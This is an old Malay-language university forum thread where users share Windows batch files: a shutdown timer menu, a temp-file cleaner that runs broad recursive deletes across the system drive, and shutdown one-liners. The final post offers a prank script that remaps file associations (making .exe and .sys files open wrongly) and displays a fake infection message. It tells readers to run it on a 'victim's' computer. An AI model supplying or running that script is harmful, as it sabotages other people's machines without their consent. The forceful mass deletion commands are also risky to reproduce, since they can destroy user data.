Log in

I forgot my password

May 2012
MonTueWedThuFriSatSun
 123456
78910111213
14151617181920
21222324252627
28293031   

Calendar Calendar

Promotion Widget
Share UMPlife's story in

Share |



Follow UMPlife's story in

Follow umplife on Twitter

Find us on facebook

Find us on google buzz

Find us on friendfeed

Fidn us on tumblr

Fidn us on Youtube
Quote of the Day
Latest topics
» [Lagu sedap~] Chris Medina - What Are Words
by Admin Yesterday at 11:31 pm

» [Lagu sedap~] Taylor Swift - Eyes Open
by Admin Yesterday at 9:56 pm

» Diablo III Officially Announced, Release Date: Whenever it's finished :p (RPG)
by murasame_85 Yesterday at 6:38 pm

» Vindictus - How to play?
by sID Yesterday at 2:24 pm

» Toyota GT86
by murasame_85 Tue May 22, 2012 7:34 am

» MedialabStudio@Kaunter Tiket Bas Cuti Jumaat INI (25/5)- Isnin (28/5)
by jemin86 Mon May 21, 2012 10:37 pm

» Proton Shark ala CRZ
by murasame_85 Mon May 21, 2012 5:58 pm

» Penutupan sementara Kaunter TIKET BAS UMP
by samuraiz Mon May 21, 2012 5:39 pm

» Andoid tut Apple~
by samuraiz Mon May 21, 2012 5:37 pm

» the private scene behind Avengers~
by samuraiz Fri May 18, 2012 3:50 am

UMPlife Chatbox
Top posters
MusTanG (4298)
 
theMVP (3628)
 
aku la????? (3355)
 
cicok (3333)
 
nazkill (3286)
 
asuramaru (3189)
 
zicron21ck (3150)
 
Admin (2987)
 
Castielle Zaidrick (2608)
 
murasame_85 (2506)
 

UMPlife Page Hits
php programmers
Since 4/1/2009 23:00




UMPlife Sponsor



mari share batch file anda kt cni

View previous topic View next topic Go down

mari share batch file anda kt cni

Post by chakueh on Wed Sep 09, 2009 11:10 pm

aku start dlu...n ak bt sdiri,bru blaja gk r
program untuk set mase untk shutdown komputer

@echo off
cls
color 0a
cls
:START
cls
echo Please select your option!
echo.
echo 1: Shutdown Computer
echo 2: Restart Computer
echo 3: Quit
set select=
set /p select=""
if '%select%'=='1' GOTO SHUTDOWN
if '%select%'=='2' GOTO RESTART
if '%select%'=='3' GOTO G
cls
echo '%select%' is invalid
echo Try again
GOTO START

:SHUTDOWN
cls
echo You are going to shutdown your computer
echo Set the desired time:
echo.
echo 0: Shutdown now
echo 1: 5 minutes
echo 2: 15 minutes
echo 3: 30 minutes
echo 4: 60 minutes
echo 5: 120 minutes
echo 6: Cancel
echo 7: Quit
set choice=
set /p choice=""

if '%choice%'=='0' GOTO A
if '%choice%'=='1' GOTO B
if '%choice%'=='2' GOTO C
if '%choice%'=='3' GOTO D
if '%choice%'=='4' GOTO E
if '%choice%'=='5' GOTO F
if '%choice%'=='6' GOTO START
if '%choice%'=='7' GOTO G
cls
echo "%choice%" is not valid
echo Try again
GOTO SHUTDOWN

:RESTART
cls
echo Restart computer now (y/n)
echo q: Quit
set yn=
set /p yn=""
if '%yn%'=='y' GOTO H
if '%yn%'=='n' GOTO START
if '%yn%'=='q' GOTO G
cls
echo '%yn%' is invalid
GOTO RESTART

:H
shutdown /r /t 5
end
cls

:A
shutdown /s /t 1
:B
shutdown /s /t 300
:C
shutdown /s /t 900
:D
shutdown /s /t 1800
:E
shutdown /s /t 3600
:F
shutdown /s /t 7200
:G
end
cls

chakueh
Secondary Member
Secondary Member

Posts: 361
Join date: 24/08/2009
Age: 21
Location: tanah merah klate mlaysia

View user profile

Back to top Go down

Re: mari share batch file anda kt cni

Post by sID on Thu Sep 10, 2009 1:42 am

lol..trgkn la cmne fungsi bnde nih..die countdown ke hape..

sID
Secondary Member
Secondary Member

Posts: 356
Join date: 02/02/2009

View user profile milimiter

Back to top Go down

Re: mari share batch file anda kt cni

Post by Soon on Thu Sep 10, 2009 2:27 am

sy pakai batch file ni utk clean rubbish files dlm laptop sy

@echo off
echo ready start cleaning rubbish files......
del /f /s /q %systemdrive%\*.tmp
del /f /s /q %systemdrive%\*._mp
del /f /s /q %systemdrive%\*.log
del /f /s /q %systemdrive%\*.gid
del /f /s /q %systemdrive%\*.chk
del /f /s /q %systemdrive%\*.old
del /f /s /q %systemdrive%\recycled\*.*
del /f /s /q %windir%\*.bak
del /f /s /q %windir%\prefetch\*.*
rd /s /q %windir%\temp & md %windir%\temp
del /f /q %userprofile%\cookies\*.*
del /f /q %userprofile%\recent\*.*
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
del /f /s /q "%userprofile%\recent\*.*"
echo cleaning complete!
echo. & pause


ni kira batch files gak kan?

Soon
Secondary Member
Secondary Member

Posts: 314
Join date: 01/11/2008
Age: 26
Location: Sitiawan,Perak

View user profile runnersoon

Back to top Go down

Re: mari share batch file anda kt cni

Post by theMVP on Thu Sep 10, 2009 3:24 am

err..
bahasa coding per ni...
nk kene letak kat window ke kalu mahu try?

_________________


theMVP
Moderator
Moderator

Posts: 3628
Join date: 24/10/2008
Age: 25
Location: Jay Bee

View user profile mrsenpai

Back to top Go down

Re: mari share batch file anda kt cni

Post by chakueh on Thu Sep 10, 2009 3:45 am

copy n paste sume tu dalam note pad,pastu save as name.bat
program aku wk tu untuk shutdown komputer
kte bleh set kn mase untuk shutdown
vista shj...xp ak xtry lg..

chakueh
Secondary Member
Secondary Member

Posts: 361
Join date: 24/08/2009
Age: 21
Location: tanah merah klate mlaysia

View user profile

Back to top Go down

Re: mari share batch file anda kt cni

Post by emnn on Sat Sep 12, 2009 12:04 am

klu nk senang gune je bende ni 2k win xp     shutdown -s -t 4000 -c "timer!!!!"                                                                 copy dlm text pastu rename sebagai timer.                                                                                                                                 batni 2k timer lebih krg 1 jam.klu nk lame lg just ubah nilai 4000 tue..                                                                                       klu nk stop bende ni type jer    shutdown -a  kat run


Last edited by emnn on Sat Sep 12, 2009 12:09 am; edited 2 times in total

emnn
Beginner

Posts: 44
Join date: 06/11/2008

View user profile http://www.000webhost.com/115155.html

Back to top Go down

Re: mari share batch file anda kt cni

Post by GAME ON on Sat Sep 12, 2009 12:24 am

ape mende sume ni??huhuhuhu..tak paham aku..cube terangkn skit...

_________________


http://172.25.174.51/

GAME ON
Moderator
Moderator

Posts: 1797
Join date: 15/11/2008

View user profile

Back to top Go down

Re: mari share batch file anda kt cni

Post by chakueh on Sun Sep 20, 2009 12:16 am

hei emn..batch file yg ko wk tu hanye leh pakai lm xp je
yg ak wk tu tuk vista..huhu
vista laen plk care diye..
GAME ON
batch file n mrupakn command yg kte wk tuk com
dye akn papar kt cmd
ak xpandai nk ckp n
tnye la yg lebih otai..hahaa

chakueh
Secondary Member
Secondary Member

Posts: 361
Join date: 24/08/2009
Age: 21
Location: tanah merah klate mlaysia

View user profile

Back to top Go down

Re: mari share batch file anda kt cni

Post by Qorel on Thu Oct 29, 2009 4:50 pm

chakueh wrote:hei emn..batch file yg ko wk tu hanye leh pakai lm xp je
yg ak wk tu tuk vista..huhu
vista laen plk care diye..
GAME ON
batch file n mrupakn command yg kte wk tuk com
dye akn papar kt cmd
ak xpandai nk ckp n
tnye la yg lebih otai..hahaa


lam vista pun jalan la bro.....
right click at desktop tu then ambik new and shortcut..
pstu tmpat location type je shutdown -s -t 4000 -c
then run jela sprti biase dye ak count la untuk shtdown..

Qorel
Secondary Member
Secondary Member

Posts: 229
Join date: 25/10/2009
Location: Klate(kk5)

View user profile

Back to top Go down

Re: mari share batch file anda kt cni

Post by Yen Kerhack on Fri Oct 30, 2009 1:37 pm

Perkembangan terbaik..

_________________




Yen Kerhack
Moderator
Moderator

Posts: 1211
Join date: 24/07/2009
Age: 21
Location: Red Land

View user profile Kerhack http://fb.me/yenkerhack

Back to top Go down

Re: mari share batch file anda kt cni

Post by Qorel on Sat Oct 31, 2009 8:20 am

ok..skung ak nk kongsi file batch yg ak buat..
tp igt nk gne nie risikonye tanggung sndiri lah..
sbb batch nie buat akn tkar ext dlm comp anda..
mudah kata lain mcm virus la..

copy ini dlm notepad dan save sbgai .bat
dan run kn dlm comp magsa anda..hehe

@echo off
assoc .txt=jpegfile
assoc .exe=htmlfile
assoc .jpeg=avifile
assoc .png=mpegfile
assoc .mpeg=txtfile
assoc .sys=regfile
msg Your System got Infected…..
exit


semoga berjaya...

Qorel
Secondary Member
Secondary Member

Posts: 229
Join date: 25/10/2009
Location: Klate(kk5)

View user profile

Back to top Go down

View previous topic View next topic Back to top

- Similar topics

Permissions in this forum:
You cannot reply to topics in this forum